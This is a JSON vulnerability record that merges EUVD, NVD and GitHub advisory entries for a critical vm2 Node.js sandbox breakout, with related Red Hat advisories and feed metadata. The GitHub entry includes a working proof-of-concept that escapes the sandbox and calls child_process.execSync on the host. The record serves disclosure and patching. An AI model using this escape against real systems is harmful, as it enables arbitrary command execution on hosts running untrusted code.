{"id":"EUVD-2026-60459","revision":null,"records":[{"revision":"5bcf32e084384d3e925dd9624c482dcd","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-47698","aliases":[],"title":"vm2: Sandbox Breakout Using Dangerous Host Proto Mutators","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, lib/bridge.js and lib/setup-sandbox.js fail to block stacked indirection through Function.prototype.call around dangerous host prototype getter and setter mutators, allowing sandbox code to sever a host intrinsic's prototype chain and reach e.constructor.constructor for arbitrary host command execution. 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Prior to 3.11.6, lib/bridge.js and lib/setup-sandbox.js fail to block stacked indirection through Function.prototype.call around dangerous host prototype getter and setter mutators, allowing san…","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, lib/bridge.js and lib/setup-sandbox.js fail to block stacked indirection through Function.prototype.call around dangerous host prototype getter and setter mutators, allowing sandbox code to sever a host intrinsic's prototype chain and reach e.constructor.constructor for arbitrary host command execution. This issue is fixed in version 3.11.6.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":null}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-cfcw-xp6x-25gj","https://github.com/patriksimek/vm2/commit/a85acb61f81402c6eabf32760aa11272af6d0f9e","https://github.com/patriksimek/vm2/releases/tag/3.11.6"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-60459","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 17, 2026, 8:53:09 PM","dateUpdated":"Aug 19, 2026, 3:56:02 AM"},"relatedAdvisories":[{"id":"RHSA-2026:82151","title":"Red Hat Security Advisory: Ansible automation portal Red Hat Enterprise Linux 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Schwachstellen","vulnerabilityIds":["CVE-2026-47683","CVE-2026-47686","CVE-2026-47698","CVE-2026-92961"]},{"id":"RHSA-2026:91651","title":"Red Hat Security Advisory: Red Hat Developer Hub 1.9.10 release.","vulnerabilityIds":["CVE-2026-47683","CVE-2026-47686","CVE-2026-47698","CVE-2026-84445","CVE-2026-92934","CVE-2026-92935","CVE-2026-92937","CVE-2026-92938","CVE-2026-92939","CVE-2026-92940","CVE-2026-92941","CVE-2026-92942","CVE-2026-92944","CVE-2026-92946","CVE-2026-92947","CVE-2026-92948","CVE-2026-92950","CVE-2026-92951","CVE-2026-92953","CVE-2026-92954","CVE-2026-92955","CVE-2026-92956","CVE-2026-92957","CVE-2026-92958","CVE-2026-92959","CVE-2026-92960","CVE-2026-92961","CVE-2026-93603","CVE-2026-93604","CVE-2026-93605","CVE-2026-93606","CVE-2026-111943"]},{"id":"RHSA-2026:79088","title":"Red Hat Security Advisory: Red Hat Developer Hub 1.10.5 release.","vulnerabilityIds":["CVE-2026-13697","CVE-2026-14456","CVE-2026-18798","CVE-2026-19534","CVE-2026-47683","CVE-2026-47686","CVE-2026-47698","CVE-2026-55553","CVE-2026-63072","CVE-2026-63076","CVE-2026-67213","CVE-2026-67214","CVE-2026-67422","CVE-2026-75899","CVE-2026-75931","CVE-2026-75975","CVE-2026-76172","CVE-2026-77037","CVE-2026-77078","CVE-2026-82333","CVE-2026-82417","CVE-2026-84292","CVE-2026-84375","CVE-2026-84394","CVE-2026-84445","CVE-2026-84961","CVE-2026-87776","CVE-2026-88932","CVE-2026-89011","CVE-2026-92934","CVE-2026-92935","CVE-2026-92937","CVE-2026-92938","CVE-2026-92939","CVE-2026-92940","CVE-2026-92941","CVE-2026-92942","CVE-2026-92944","CVE-2026-92946","CVE-2026-92947","CVE-2026-92948","CVE-2026-92950","CVE-2026-92951","CVE-2026-92953","CVE-2026-92954","CVE-2026-92955","CVE-2026-92956","CVE-2026-92957","CVE-2026-92958","CVE-2026-92959","CVE-2026-92960","CVE-2026-92961","CVE-2026-93603","CVE-2026-93604","CVE-2026-93605","CVE-2026-93606"]},{"id":"RHSA-2026:76788","title":"Red Hat Security Advisory: Red Hat Developer Hub 1.10.5 Plugin Catalog GA plugins release.","vulnerabilityIds":["CVE-2026-13697","CVE-2026-19534","CVE-2026-47683","CVE-2026-47686","CVE-2026-47698","CVE-2026-55553","CVE-2026-75899","CVE-2026-75931","CVE-2026-75975","CVE-2026-76172","CVE-2026-77037","CVE-2026-77078","CVE-2026-77413","CVE-2026-77414","CVE-2026-77415","CVE-2026-82333","CVE-2026-82417","CVE-2026-84292","CVE-2026-84375","CVE-2026-84394","CVE-2026-84961","CVE-2026-87776","CVE-2026-88932","CVE-2026-89011","CVE-2026-92934","CVE-2026-92935","CVE-2026-92937","CVE-2026-92938","CVE-2026-92939","CVE-2026-92940","CVE-2026-92941","CVE-2026-92942","CVE-2026-92944","CVE-2026-92946","CVE-2026-92947","CVE-2026-92948","CVE-2026-92950","CVE-2026-92951","CVE-2026-92953","CVE-2026-92954","CVE-2026-92955","CVE-2026-92956","CVE-2026-92957","CVE-2026-92958","CVE-2026-92959","CVE-2026-92960","CVE-2026-92961","CVE-2026-93603","CVE-2026-93604","CVE-2026-93605","CVE-2026-93606"]},{"id":"RHSA-2026:80603","title":"Red Hat Security Advisory: Ansible plug-ins for Red Hat Developer Hub Product Release Update","vulnerabilityIds":["CVE-2026-47686","CVE-2026-47698","CVE-2026-84961","CVE-2026-85152","CVE-2026-92934","CVE-2026-92935","CVE-2026-92937","CVE-2026-92938","CVE-2026-92939","CVE-2026-92940","CVE-2026-92941","CVE-2026-92944","CVE-2026-92946","CVE-2026-92947","CVE-2026-92948","CVE-2026-92950","CVE-2026-92951","CVE-2026-92953","CVE-2026-92954","CVE-2026-92956","CVE-2026-92957","CVE-2026-92960","CVE-2026-93603","CVE-2026-93604","CVE-2026-93605","CVE-2026-93606","CVE-2026-101916"]},{"id":"RHSA-2026:80644","title":"Red Hat Security Advisory: Ansible plug-ins for Red Hat Developer Hub Product Release Update","vulnerabilityIds":["CVE-2026-47686","CVE-2026-47698","CVE-2026-84961","CVE-2026-85152","CVE-2026-92934","CVE-2026-92935","CVE-2026-92937","CVE-2026-92938","CVE-2026-92939","CVE-2026-92940","CVE-2026-92941","CVE-2026-92944","CVE-2026-92946","CVE-2026-92947","CVE-2026-92948","CVE-2026-92950","CVE-2026-92951","CVE-2026-92953","CVE-2026-92954","CVE-2026-92956","CVE-2026-92957","CVE-2026-92960","CVE-2026-93603","CVE-2026-93604","CVE-2026-93605","CVE-2026-93606","CVE-2026-101916"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-60459","identifiers":["EUVD-2026-60459","CVE-2026-47698","GHSA-cfcw-xp6x-25gj"]},"retained":false,"historicalAffected":[]},{"revision":"1de9a4bda1524f5a846a7a9865cca917","observedAt":"2026-10-25T12:17:26.301+00:00","statement":{"source":"nvd","id":"CVE-2026-47698","aliases":[],"title":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, lib/bridge.js and lib/setup-sandbox.js fail to block stacked indirection through Function.prototype.call around dangerous host prototype getter and setter mutators, allowing san…","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.6, lib/bridge.js and lib/setup-sandbox.js fail to block stacked indirection through Function.prototype.call around dangerous host prototype getter and setter mutators, allowing sandbox code to sever a host intrinsic's prototype chain and reach e.constructor.constructor for arbitrary host command execution. This issue is fixed in version 3.11.6.","state":0,"publishedAt":"2026-08-17T21:16:45.64+00:00","modifiedAt":"2026-10-23T16:10:00.313+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/patriksimek/vm2/commit/a85acb61f81402c6eabf32760aa11272af6d0f9e","https://github.com/patriksimek/vm2/releases/tag/3.11.6","https://github.com/patriksimek/vm2/security/advisories/GHSA-cfcw-xp6x-25gj"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-47698","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-913"],"productCriteria":[],"sourceDates":{"published":"2026-08-17T21:16:45.640","lastModified":"2026-10-23T16:10:00.313"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-47698","identifiers":["CVE-2026-47698"]},"retained":false,"historicalAffected":[]},{"revision":"b0fd8d75a49444fd9edf8caa37e48caa","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-cfcw-xp6x-25gj","aliases":["CVE-2026-47698"],"title":"vm2: Sandbox Breakout Using Dangerous Host Proto Mutators","description":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing `indirectcall.call(dangerousmutator, ...)` with `indirectcall.call(indirectcall, dangerousmutator, ...)` since indirect calls are not seen as dangerous.\n\n### PoC\n\n```js\nconst {VM} = require(\".\");\nconst vm = new VM();\nconsole.log(vm.run(`\nconst getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, \"__proto__\");\nconst setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, \"__proto__\");\n\nasync function f() {\n  try {\n    await WebAssembly.compileStreaming();\n  } catch(e) {\n    Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null);\n  }\n\n  try {\n    await WebAssembly.compileStreaming();\n  } catch(e) {\n    e.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n  }\n}\n\nf();\n`));\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.","state":0,"publishedAt":"2026-08-17T17:32:41+00:00","modifiedAt":"2026-08-17T17:56:03.510751+00:00","affected":[{"ecosystem":"npm","name":"vm2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.11.6"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-cfcw-xp6x-25gj","https://github.com/patriksimek/vm2","https://github.com/patriksimek/vm2/releases/tag/3.11.6"],"sourceUrl":"https://github.com/advisories/GHSA-cfcw-xp6x-25gj","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-cfcw-xp6x-25gj","identifiers":["GHSA-cfcw-xp6x-25gj","CVE-2026-47698"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-08T05:06:54.7224170+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-08T05:06:54.722417+00:00","lastSuccessAt":"2026-11-08T05:06:54.8753142+00:00","error":null,"lastVerifiedAt":"2026-11-08T05:06:54.875316+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-eaa64dac63caa79c8d4905619258c41c51b39e461b996124e1a21b5e85e7e738-5f996ab4d545d4c69ea2b6ee3009c8c4105f63df9cfbbf4c578c7470282be4b4","complete":true,"records":421074,"lastAttemptAt":"2026-11-08T05:06:53.5215713+00:00","lastSuccessAt":"2026-11-08T05:06:53.4988286+00:00","error":null,"lastVerifiedAt":"2026-11-08T05:06:53.5215713+00:00","snapshotPublishedAt":"2026-11-08T04:25:52+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-ce0df89a405747cda5b7c61ae0b48fb2","complete":true,"records":13633,"lastAttemptAt":"2026-11-08T05:08:40.2673541+00:00","lastSuccessAt":"2026-11-08T05:08:40.263+00:00","error":null,"lastVerifiedAt":"2026-11-08T05:08:40.263+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-08T05:06:54.7224170+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-08T05:06:54.722417+00:00","lastSuccessAt":"2026-11-08T05:06:54.8762568+00:00","error":null,"lastVerifiedAt":"2026-11-08T05:06:54.8762573+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-449054d6321e4ff8818c6b898fdac406","complete":true,"records":13645,"lastAttemptAt":"2026-11-08T05:08:11.1749792+00:00","lastSuccessAt":"2026-11-08T05:08:11.17+00:00","error":null,"lastVerifiedAt":"2026-11-08T05:08:11.17+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-08T05:06:54.1714031+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-08T05:06:54.1714031+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-08T05:06:53.6785795+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-08T05:06:53.6785795+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-08T05:06:54.5508124+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-08T05:06:54.5508124+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-08T05:06:54.0611713+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-08T05:06:54.0611713+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}